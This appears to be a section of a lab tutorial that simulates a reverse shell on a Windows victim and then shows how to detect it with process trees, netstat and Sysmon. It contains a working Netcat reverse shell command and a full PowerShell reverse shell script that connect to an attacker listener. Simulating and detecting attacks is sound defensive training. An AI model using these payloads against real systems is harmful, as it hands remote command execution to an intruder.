**10. Web Shell or Reverse Shell Execution**

Simulate a Reverse Shell (Netcat)

Attacker (Kali Linux):

Start a Netcat listener:

nc -lvnp 4444

Victim (Windows)

Option 1: Netcat Reverse Shell (if nc.exe is available)

Download nc.exe from [reliable source like nmap.org](https://nmap.org/ncat/), place it on Windows, and run:

nc.exe 192.168.157.131 4444 -e cmd.exe

This will give the attacker an interactive Windows command prompt.

If -e doesn’t work (some versions block it), use PowerShell.

Option 2: PowerShell Reverse Shell

Paste this into PowerShell on the Windows victim:

$client = New-Object System.Net.Sockets.TCPClient("192.168.157.131",4444);

$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){

$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);

$sendback = (iex $data 2>&1 | Out-String );

$sendback2 = $sendback + "PS " + (pwd).Path + "> ";

$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);

$stream.Write($sendbyte,0,$sendbyte.Length);

$stream.Flush();

}

Detection on Windows

1. Check Abnormal Process Tree

Use Sysinternals Process Explorer or check with Sysmon logs.

Look for:

* powershell.exe spawned by explorer.exe or chrome.exe
* cmd.exe talking to port 4444

2. Monitor Network Connections

Open PowerShell or CMD and run:

netstat -anob | findstr :4444

You’ll see something like:

TCP 192.168.1.5:random\_port 192.168.157.131:4444 ESTABLISHED

[cmd.exe]

3. Use Sysmon (Optional but Powerful)

If you have Sysmon installed:

* Event ID 1 = Process Creation
* Event ID 3 = Network Connection

Use Event Viewer:

eventvwr.msc

Browse:

Applications and Services Logs > Microsoft > Windows > Sysmon > Operational

Search for:

* Command line includes nc.exe or suspicious powershell.exe
* Outbound connections to port 4444